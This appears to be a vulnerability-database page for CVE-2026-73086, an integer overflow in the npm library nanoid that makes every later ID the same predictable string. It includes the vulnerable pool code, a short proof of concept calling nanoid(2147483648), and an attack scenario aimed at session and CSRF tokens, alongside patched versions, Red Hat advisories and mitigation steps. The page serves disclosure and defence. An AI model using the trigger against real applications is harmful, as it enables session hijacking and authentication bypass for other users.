CVE-2026-73086 is a high-severity (CVSS 7.4) CWE-190 vulnerability in nanoid. A fix is available for nanoid — see the affected versions and patch details below.
nanoid: Integer Overflow or Wraparound
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73086.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nanoidnpmDescription
Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (index.js:15):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}
Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}
pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide
Run with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
- The corruption is persistent (survives across requests) and affects all consumers of
nanoidin the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient
- Affects any application that passes external input to the
sizeparameter without validation
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nanoid | all versions | 3.3.12npm install nanoid@3.3.12 |
| 📦npm | nanoid | ≥ 4.0.0&&< 5.1.11 | 5.1.11npm install nanoid@5.1.11 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nanoid, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nanoid to 3.3.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-73086 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Important: This flaw in the nanoid JavaScript library allows a remote attacker to cause predictable ID generation by exploiting an integer overflow in the `nanoid(size)` function. This can lead to the compromise of session tokens, CSRF tokens, and API keys, bypassing security mechanisms. The attack requires specific…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-73086 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.6 for RHEL 9 | automation-platform-ui-0:2.6.14-1.el9ap | RHSA-2026:71113 |
| Red Hat Satellite 6.19 for RHEL 9 | foreman-0:3.18.0.14-1.el9sat | RHSA-2026:74503 |
| Cluster Observability Operator 1.5 | cluster-observability-operator/prometheus-rhel9:1790857922 | RHSA-2026:74609 |
| multicluster engine for Kubernetes 2.11 | multicluster-engine/console-mce-rhel9:1786911977 | RHSA-2026:57194 |
| multicluster engine for Kubernetes 2.17 | multicluster-engine/console-mce-rhel9:1786668856 | RHSA-2026:59593 |
| multicluster engine for Kubernetes 2.6 | multicluster-engine/console-mce-rhel9:1787264250 | RHSA-2026:59579 |
| multicluster engine for Kubernetes 2.8 | multicluster-engine/console-mce-rhel9:1787259048 | RHSA-2026:59558 |
| multicluster engine for Kubernetes 2.9 | multicluster-engine/console-mce-rhel9:1787079359 | RHSA-2026:59559 |
Frequently Asked Questions
Is CVE-2026-73086 in your dependencies?
Find it across npm, including transitive dependencies.